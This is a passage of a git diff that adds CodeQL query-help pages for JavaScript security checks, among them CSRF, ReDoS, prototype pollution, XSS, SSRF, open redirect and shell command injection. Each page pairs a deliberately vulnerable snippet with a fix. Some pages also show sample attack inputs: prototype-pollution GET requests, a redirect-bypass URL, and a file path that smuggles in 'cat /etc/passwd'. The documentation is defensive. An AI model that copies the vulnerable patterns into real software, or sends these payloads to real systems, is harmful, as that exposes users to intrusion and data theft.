obj.length; i++) { + ret.push(obj[i]); + } +}); + +``` + +## References +* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingCsrfMiddleware.md b/docs/language/query-help/javascript/MissingCsrfMiddleware.md new file mode 100644 index 00000000000..9558e2efc3a --- /dev/null +++ b/docs/language/query-help/javascript/MissingCsrfMiddleware.md @@ -0,0 +1,63 @@ +# Missing CSRF middleware + +``` +ID: js/missing-token-validation +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-352 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-352/MissingCsrfMiddleware.ql) + +Websites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website. + +This is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request. + + +## Recommendation +Use a middleware package such as `csurf` to protect against CSRF attacks. + + +## Example +In the example below, the server authenticates users before performing the `changeEmail` POST action: + + +```javascript +var app = require("express")(), + cookieParser = require("cookie-parser"), + passport = require("passport"); + +app.use(cookieParser()); +app.use(passport.authorize({ session: true })); + +app.post("/changeEmail", function(req, res) { + let newEmail = req.cookies["newEmail"]; + // ... +}); + +``` +This is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user. + +This vulnerability can be mitigated by installing a CSRF protecting middleware handler: + + +```javascript +var app = require("express")(), + cookieParser = require("cookie-parser"), + passport = require("passport"), + csrf = require("csurf"); + +app.use(cookieParser()); +app.use(passport.authorize({ session: true })); +app.use(csrf({ cookie: true })); +app.post("/changeEmail", function(req, res) { + let newEmail = req.cookies["newEmail"]; + // ... +}); + +``` + +## References +* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) +* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingRateLimiting.md b/docs/language/query-help/javascript/MissingRateLimiting.md new file mode 100644 index 00000000000..437d56e8abb --- /dev/null +++ b/docs/language/query-help/javascript/MissingRateLimiting.md @@ -0,0 +1,66 @@ +# Missing rate limiting + +``` +ID: js/missing-rate-limiting +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-770 external/cwe/cwe-307 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql) + +HTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time. + + +## Recommendation +A rate-limiting middleware should be used to prevent such attacks. + + +## Example +The following example shows an Express application that serves static files without rate limiting: + + +```javascript +var express = require('express'); +var app = express(); + +app.get('/:path', function(req, res) { + let path = req.params.path; + if (isValidPath(path)) + res.sendFile(path); +}); + +``` +To prevent denial-of-service attacks, the `express-rate-limit` package can be used: + + +```javascript +var express = require('express'); +var app = express(); + +// set up rate limiter: maximum of five requests per minute +var RateLimit = require('express-rate-limit'); +var limiter = new RateLimit({ + windowMs: 1*60*1000, // 1 minute + max: 5 +}); + +// apply rate limiter to all requests +app.use(limiter); + +app.get('/:path', function(req, res) { + let path = req.params.path; + if (isValidPath(path)) + res.sendFile(path); +}); + +``` + +## References +* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html). +* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack). +* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit). +* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html). +* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingRegExpAnchor.md b/docs/language/query-help/javascript/MissingRegExpAnchor.md new file mode 100644 index 00000000000..a5db5c4a2d8 --- /dev/null +++ b/docs/language/query-help/javascript/MissingRegExpAnchor.md @@ -0,0 +1,56 @@ +# Missing regular expression anchor + +``` +ID: js/regex/missing-regexp-anchor +Kind: problem +Severity: warning +Precision: medium +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/MissingRegExpAnchor.ql) + +Sanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location. + +Even if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches. + + +## Recommendation +Use anchors to ensure that regular expressions match at the expected locations. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. + + +```javascript +app.get("/some/path", function(req, res) { + let url = req.param("url"); + // BAD: the host of `url` may be controlled by an attacker + if (url.match(/https?:\/\/www\.example\.com\//)) { + res.redirect(url); + } +}); + +``` +The check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead: + + +```javascript +app.get("/some/path", function(req, res) { + let url = req.param("url"); + // GOOD: the host of `url` can not be controlled by an attacker + if (url.match(/^https?:\/\/www\.example\.com\//)) { + res.redirect(url); + } +}); + +``` +A related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\.example\.com|beta\.example\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\.example\.com)|(beta\.example\.com)/` + + +## References +* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PasswordInConfigurationFile.md b/docs/language/query-help/javascript/PasswordInConfigurationFile.md new file mode 100644 index 00000000000..24084ee2dac --- /dev/null +++ b/docs/language/query-help/javascript/PasswordInConfigurationFile.md @@ -0,0 +1,23 @@ +# Password in configuration file + +``` +ID: js/password-in-configuration-file +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-256 external/cwe/cwe-260 external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql) + +Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. + + +## Recommendation +Passwords stored in configuration files should always be encrypted. + + +## References +* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html). +* Common Weakness Enumeration: [CWE-260](https://cwe.mitre.org/data/definitions/260.html). +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PolynomialReDoS.md b/docs/language/query-help/javascript/PolynomialReDoS.md new file mode 100644 index 00000000000..3f271fb736f --- /dev/null +++ b/docs/language/query-help/javascript/PolynomialReDoS.md @@ -0,0 +1,62 @@ +# Polynomial regular expression used on uncontrolled data + +``` +ID: js/polynomial-redos +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Performance/PolynomialReDoS.ql) + +Some regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service ("DoS") attack by crafting an expensive input string for the regular expression to match. + +The regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower. + +Typically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references. + + +## Recommendation +Modify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter. + + +## Example +Consider this use of a regular expression, which removes all leading and trailing whitespace in a string: + +```javascript + + text.replace(/^\s+|\s+$/g, ''); // BAD + +``` +The sub-expression `"\s+$"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence. + +This ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `"a b"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes. + +Avoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\s+|(? { + let prefs = lodash.merge({}, JSON.parse(req.query.prefs)); +}) + +``` +Prior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request: + +``` +GET /news?prefs={"constructor":{"prototype":{"xxx":true}}} +``` +This causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version: + + +```json +{ + "dependencies": { + "lodash": "^4.17.12" + } +} + +``` +Note that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution: + + +```javascript +app.get('/news', (req, res) => { + let config = lodash.merge({}, { + prefs: req.query.prefs + }); +}) + +``` +In the above example, an attacker can cause prototype pollution by sending the following GET request: + +``` +GET /news?prefs[constructor][prototype][xxx]=true +``` + +## References +* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194). +* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded) +* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PrototypePollutionUtility.md b/docs/language/query-help/javascript/PrototypePollutionUtility.md new file mode 100644 index 00000000000..853e7f8b85e --- /dev/null +++ b/docs/language/query-help/javascript/PrototypePollutionUtility.md @@ -0,0 +1,80 @@ +# Prototype pollution in utility function + +``` +ID: js/prototype-pollution-utility +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-400 external/cwe/cwe-471 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.ql) + +Most JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting. + +One way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. + + +## Recommendation +The most effective place to guard against this is in the function that performs the recursive copy or deep assignment. + +Only merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, blacklist the property names `__proto__` and `constructor` from being merged or assigned to. + + +## Example +This function recursively copies properties from `src` to `dst`: + + +```javascript +function merge(dst, src) { + for (let key in src) { + if (!src.hasOwnProperty(key)) continue; + if (isObject(dst[key])) { + merge(dst[key], src[key]); + } else { + dst[key] = src[key]; + } + } +} + +``` +However, if `src` is the object `{"__proto__": {"isAdmin": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`. + +The issue can be fixed by ensuring that only own properties of the destination object are merged recursively: + + +```javascript +function merge(dst, src) { + for (let key in src) { + if (!src.hasOwnProperty(key)) continue; + if (dst.hasOwnProperty(key) && isObject(dst[key])) { + merge(dst[key], src[key]); + } else { + dst[key] = src[key]; + } + } +} + +``` +Alternatively, blacklist the `__proto__` and `constructor` properties: + + +```javascript +function merge(dst, src) { + for (let key in src) { + if (!src.hasOwnProperty(key)) continue; + if (key === "__proto__" || key === "constructor") continue; + if (isObject(dst[key])) { + merge(dst[key], src[key]); + } else { + dst[key] = src[key]; + } + } +} + +``` + +## References +* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). +* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ReDoS.md b/docs/language/query-help/javascript/ReDoS.md new file mode 100644 index 00000000000..f06a604165f --- /dev/null +++ b/docs/language/query-help/javascript/ReDoS.md @@ -0,0 +1,48 @@ +# Inefficient regular expression + +``` +ID: js/redos +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Performance/ReDoS.ql) + +Some regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service ("DoS") attack by crafting an expensive input string for the regular expression to match. + +The regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower. + +Typically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references. + + +## Recommendation +Modify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter. + + +## Example +Consider this regular expression: + +```javascript + + /^_(__|.)+_$/ + +``` +Its sub-expression `"(__|.)+?"` can match the string `"__"` either by the first alternative `"__"` to the left of the `"|"` operator, or by two repetitions of the second alternative `"."` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input. + +This problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition: + +```javascript + + /^_(__|[^_])+_$/ + +``` + +## References +* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). +* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). +* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity). +* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](http://www.cs.bham.ac.uk/~hxt/research/reg-exp-sec.pdf). +* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ReflectedXss.md b/docs/language/query-help/javascript/ReflectedXss.md new file mode 100644 index 00000000000..4f725c53aad --- /dev/null +++ b/docs/language/query-help/javascript/ReflectedXss.md @@ -0,0 +1,63 @@ +# Reflected cross-site scripting + +``` +ID: js/reflected-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/ReflectedXss.ql) + +Directly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + +This kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references. + + +## Example +The following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting. + + +```javascript +var app = require('express')(); + +app.get('/user/:id', function(req, res) { + if (!isValidUserId(req.params.id)) + // BAD: a request parameter is incorporated without validation into the response + res.send("Unknown user: " + req.params.id); + else + // TODO: do something exciting + ; +}); + +``` +Sanitizing the user-controlled data prevents the vulnerability: + + +```javascript +var escape = require('escape-html'); + +var app = require('express')(); + +app.get('/user/:id', function(req, res) { + if (!isValidUserId(req.params.id)) + // GOOD: request parameter is sanitized before incorporating it into the response + res.send("Unknown user: " + escape(req.params.id)); + else + // TODO: do something exciting + ; +}); + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RegExpInjection.md b/docs/language/query-help/javascript/RegExpInjection.md new file mode 100644 index 00000000000..6502cd2257f --- /dev/null +++ b/docs/language/query-help/javascript/RegExpInjection.md @@ -0,0 +1,59 @@ +# Regular expression injection + +``` +ID: js/regex-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-730/RegExpInjection.ql) + +Constructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack. + + +## Recommendation +Before embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning. + + +## Example +The following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first: + + +```javascript +var express = require('express'); +var app = express(); + +app.get('/findKey', function(req, res) { + var key = req.param("key"), input = req.param("input"); + + // BAD: Unsanitized user input is used to construct a regular expression + var re = new RegExp("\\b" + key + "=(.*)\n"); +}); + +``` +Instead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions. + + +```javascript +var express = require('express'); +var _ = require('lodash'); +var app = express(); + +app.get('/findKey', function(req, res) { + var key = req.param("key"), input = req.param("input"); + + // GOOD: User input is sanitized before constructing the regex + var safeKey = _.escapeRegExp(key); + var re = new RegExp("\\b" + safeKey + "=(.*)\n"); +}); + +``` + +## References +* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). +* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). +* npm: [lodash](https://www.npmjs.com/package/lodash). +* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RemotePropertyInjection.md b/docs/language/query-help/javascript/RemotePropertyInjection.md new file mode 100644 index 00000000000..b5d9250263c --- /dev/null +++ b/docs/language/query-help/javascript/RemotePropertyInjection.md @@ -0,0 +1,61 @@ +# Remote property injection + +``` +ID: js/remote-property-injection +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-250 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.ql) + +Dynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised. + +Moreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`. + + +## Recommendation +The most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character. + +When using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`. + + +## Example +In the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value. + + +```javascript +var express = require('express'); + +var app = express(); +var myObj = {} + +app.get('/user/:id', function(req, res) { + var prop = req.query.userControlled; // BAD + myObj[prop] = function() {}; + console.log("Request object " + myObj); +}); +``` +This is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as "Function.prototype.toString is not generic". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten. + + +```javascript +var express = require('express'); + +var app = express(); +var myObj = {} + +app.get('/user/:id', function(req, res) { + var prop = "$" + req.query.userControlled; // GOOD + myObj[prop] = function() {}; + console.log("Request object " + myObj); +}); +``` + +## References +* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://nodesecurity.io/advisories/566). +* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67) +* npm blog post: [ dangers of square bracket notation](https://blog.liftsecurity.io/2015/01/14/the-dangers-of-square-bracket-notation#lift-security) +* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RequestForgery.md b/docs/language/query-help/javascript/RequestForgery.md new file mode 100644 index 00000000000..55aea9a91fc --- /dev/null +++ b/docs/language/query-help/javascript/RequestForgery.md @@ -0,0 +1,69 @@ +# Uncontrolled data used in network request + +``` +ID: js/request-forgery +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-918 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-918/RequestForgery.ql) + +Directly incorporating user input into an HTTP request without validating the input can facilitate different kinds of request forgery attacks, where the attacker essentially controls the request. If the vulnerable request is in server-side code, then security mechanisms, such as external firewalls, can be bypassed. If the vulnerable request is in client-side code, then unsuspecting users can send malicious requests to other servers, potentially resulting in a DDOS attack. + + +## Recommendation +To guard against request forgery, it is advisable to avoid putting user input directly into a network request. If a flexible network request mechanism is required, it is recommended to maintain a list of authorized request targets and choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `"internal.example.com/#"` as the target, causing the URL used in the request to be `"https://internal.example.com/#.example.com/data"`. + +A request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine. + + +```javascript +import http from 'http'; +import url from 'url'; + +var server = http.createServer(function(req, res) { + var target = url.parse(req.url, true).query.target; + + // BAD: `target` is controlled by the attacker + http.get('https://' + target + ".example.com/data/", res => { + // process request response ... + }); + +}); + +``` +One way to remedy the problem is to use the user input to select a known fixed string before performing the request: + + +```javascript +import http from 'http'; +import url from 'url'; + +var server = http.createServer(function(req, res) { + var target = url.parse(req.url, true).query.target; + + var subdomain; + if (target === 'EU') { + subdomain = "europe" + } else { + subdomain = "world" + } + + // GOOD: `subdomain` is controlled by the server + http.get('https://' + subdomain + ".example.com/data/", res => { + // process request response ... + }); + +}); + +``` + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ServerSideUrlRedirect.md b/docs/language/query-help/javascript/ServerSideUrlRedirect.md new file mode 100644 index 00000000000..7721c71c069 --- /dev/null +++ b/docs/language/query-help/javascript/ServerSideUrlRedirect.md @@ -0,0 +1,52 @@ +# Server-side URL redirect + +``` +ID: js/server-side-unvalidated-url-redirection +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-601/ServerSideUrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: + + +```javascript +const app = require("express")(); + +app.get('/some/path', function(req, res) { + // BAD: a request parameter is incorporated without validation into a URL redirect + res.redirect(req.param("target")); +}); + +``` +One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: + + +```javascript +const app = require("express")(); + +const VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; + +app.get('/some/path', function(req, res) { + // GOOD: the request parameter is validated against a known fixed string + let target = req.param("target"); + if (VALID_REDIRECT === target) + res.redirect(target); +}); + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md b/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md new file mode 100644 index 00000000000..6dc8108c32f --- /dev/null +++ b/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md @@ -0,0 +1,58 @@ +# Shell command built from environment values + +``` +ID: js/shell-command-injection-from-environment +Kind: path-problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/ShellCommandInjectionFromEnvironment.ql) + +Dynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system. + + +## Recommendation +If possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell. + +Alternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly. + + +## Example +The following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts. + + +```javascript +var cp = require("child_process"), + path = require("path"); +function cleanupTemp() { + let cmd = "rm -rf " + path.join(__dirname, "temp"); + cp.execSync(cmd); // BAD +} + +``` +The shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path. + +For instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process. + +Even worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`. + +To avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell: + + +```javascript +var cp = require("child_process"), + path = require("path"); +function cleanupTemp() { + let cmd = "rm", + args = ["-rf", path.join(__dirname, "temp")]; + cp.execFileSync(cmd, args); // GOOD +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/SqlInjection.md b/docs/language/query-help/javascript/SqlInjection.md new file mode 100644 index 00000000000..b67f59b1667 --- /dev/null +++ b/docs/language/query-help/javascript/SqlInjection.md @@ -0,0 +1,57 @@ +# Database query built from 